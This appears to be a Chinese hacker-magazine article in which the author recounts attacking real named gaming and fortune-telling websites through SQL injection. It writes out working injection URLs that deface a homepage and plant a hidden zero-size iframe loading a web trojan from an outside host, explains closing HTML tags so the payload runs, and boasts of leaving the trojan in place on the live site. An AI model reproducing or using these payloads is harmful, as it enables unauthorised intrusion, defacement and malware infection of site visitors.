我们都知道,所谓跨站攻击,就是程序对用户输入的数据缺少充分过滤,当网站浏览者浏览信息时,被输入的恶意脚本就会被执行,这可能是插入一端文字,可能是偷取浏览者cookie信息的java脚本,更有甚着是一段利用IE漏洞的网页木马代码。这种攻击方法与得到webshell后插入木马代码要实现起来要简单容易的多,当然这种方法也有它的缺点,这个我们一会讨论。先说实现跨站攻击的前提条件,当然是网页中要存在输入信息过滤不严的地方。在某些大型的非互交型的网站中,这种输入点一般不好找,所以直接从表面入手相当棘手。
我们换个角度考虑,如果这个网站存在sql注入点的话,结果就不同了。我这里说的数据库是针对MSSQL数据库的(当然对mysql等数据库同时有效,不过处理起来有点困难)利用的还是让人厌烦的但却是很有效的SQL注入漏洞,不过不需要admin权限,只要有 update权限就够了,一般Db_owner就有这个权限。我们直接修改数据库中的的信息,使得asp程序在调用数据库时,将修改后的网页木马的代码显示在网页中。下面我就用个例子展示一下攻击过程。
在浏览台湾橘子站点:http://www.gamania.com的时候,发现了这个地方可以注入:
权限是Db_Woner要想得到webshell首当其冲的方法是通过Db_Woner的备份权限得到.不过这种方法我在很多网站上都试过了,尤其是大型网站,数据库是相当庞大的,这种方法成功率并不高(至少我一次都没有成功过,毕竟自己技术有限,呵呵)成功不成功试试再说,先用读注册表的方法得到web物理路径:
具体方法,前期黑防都有的介绍,我就不在唠叨一遍拉。拿到路径后当然就是backupwebshell了。
由于我没有看过cyf的这个工具是如何对int型和字符型数据的判断,所以在Url中参数中加了个',认为是对整型数据的注入。下面我们看看结果如何:
失败,看来常规的攻击不会有什么新的突破,还是另谋他法了。
后来我仔细看了看这个占卜的网页,看到如下信息:
哦,原来是和www.fatesia.com合作建的站,先ping一下着两个站点:
看到没,是在一个服务器上的。看看打开这个站点看一下:
恩,做的不错啊,网站也挺大的,呵呵,小样别以为你打,咱们就不敢整你了,瞧着,在网站溜个一圈,同样存在注入点,更可惜的是这个站使用的数据库和http://fateasia.gamania.com是同一个数据库:
看来,这个才是主站:
看看咱们backup的木马在这个站上吗:
http://www.fateasia.com/asp.asp返回404错误,看来也不行,郁闷。
此时忽然想到,既然不能直接得到webshell,那我们有没有可能在不得到shell的前提下挂上网页木马或者是跨站攻击脚本呢?因为我们对这个站点的数据库已经有了操作权限了,这在理论上绝对是可行的,兴奋啊,对啊,直接操作数据库跨站攻击的确是个应用特别广泛的方法。使得某些人花费九牛二虎之力弄得个shell才把木马给挂上去,费时又费力。
着只是我的思路而已,我们亲手实践一下看看能成功吗。
首先要找到asp中的调用数据库的地方,一般动态变化的信息都是对数据库的调用。
我们选择个最明显的地方,(具体的选取,要靠平时大家的经验了,一般经常更新的地方都回调用数据库里的信息)。如下:
这个地方走动的红色文字,应该调用的是据库里的信息。
查看源代码看看:
我选中的字体大家要看清楚了,由于我们有装繁体字库,将选中的字体粘贴到一个本地网页文件里打开,在查看|编码|中选繁体中文:得到如下信息:
好了,我们就在数据库中查找这个信息,由于数据库相当大,我得花费相当长的时间去查找,
工夫不付有心人,终于在数据库中我把着条信息给揪了出来:
在NB中虽然显示的是乱骂,我把这段文字用IE打开看看:
呵呵,和网页中显示的一模一样,看来就是这个地方了,为了证实一下,我update一下数据库里这个字段里的内容:使用如下命令:
[/url][url=http://www.fateasia.com/fate.asp?sid=H00050]http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext='acked by llikz (http://www.hacker.com.cn)';--
再刷新一下网页看看:
看到了吗,我们已经成功更新了它的数据库里的信息,如此简单的一句话就把这个网站的首页给改掉了,的确感到很有成就感。下面我们就要试着想数据库里注入恶意代码了,我选择了一个网页木马:
[/url][url=http://www.fateasia.com/fate.asp?sid=H00050]http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext='test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>';--
看看结果:
成功了,再来看看源代码:
哈哈,的确把恶意脚本插入到了网页中。攻击成功,太令人兴奋了,无须得到webshell,一个的网页木马已经被植入网页中。
这里要提醒大家,在找到调用的地方后注入恶意代码时,要想让植入网页的脚本执行,一定要闭合前面的html标记,在以上我的注入中
[/url][url=http://www.fateasia.com/fate.asp?sid=H00050]http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext='test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>';--
其中的</a></font></marquee>就是为了闭合前面的着几个标记,似的闭合后下面的<iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>可以被浏览器解释执行。大家在具体的使用中要灵活运用,对于注入的文字中含有单引号要使用两个单引号来代替。
我还要提醒大家,在利用这种方法的时候,一定要确保你的注入语句的正确性,要不非但不会成功,反而可能对数据库造成破坏,利用的时候要谨慎。切记。
说到着里,虽然这个方法,在实现上已经没有什么问题了,但他还是有缺点的,第一,这种方法生成的网页木马隐蔽性不是很好,第二,在插入代码后,可能会引起网页显示格式的变化。着一点也是它最大的缺点。如果你有更好的隐藏代码而不改变显示布局的方法,一定要告诉我啊, 给我QQ留言,共同探讨:66734111。
最后把文字给修改回去,不过插入的木马还留在里面,可惜了http://www.hacker.com.cn/muma.htm是个不存在的网页,再次跪求黑防的同志们给俺把马给装上,不枉俺把马地址写到你们网站上。呵呵。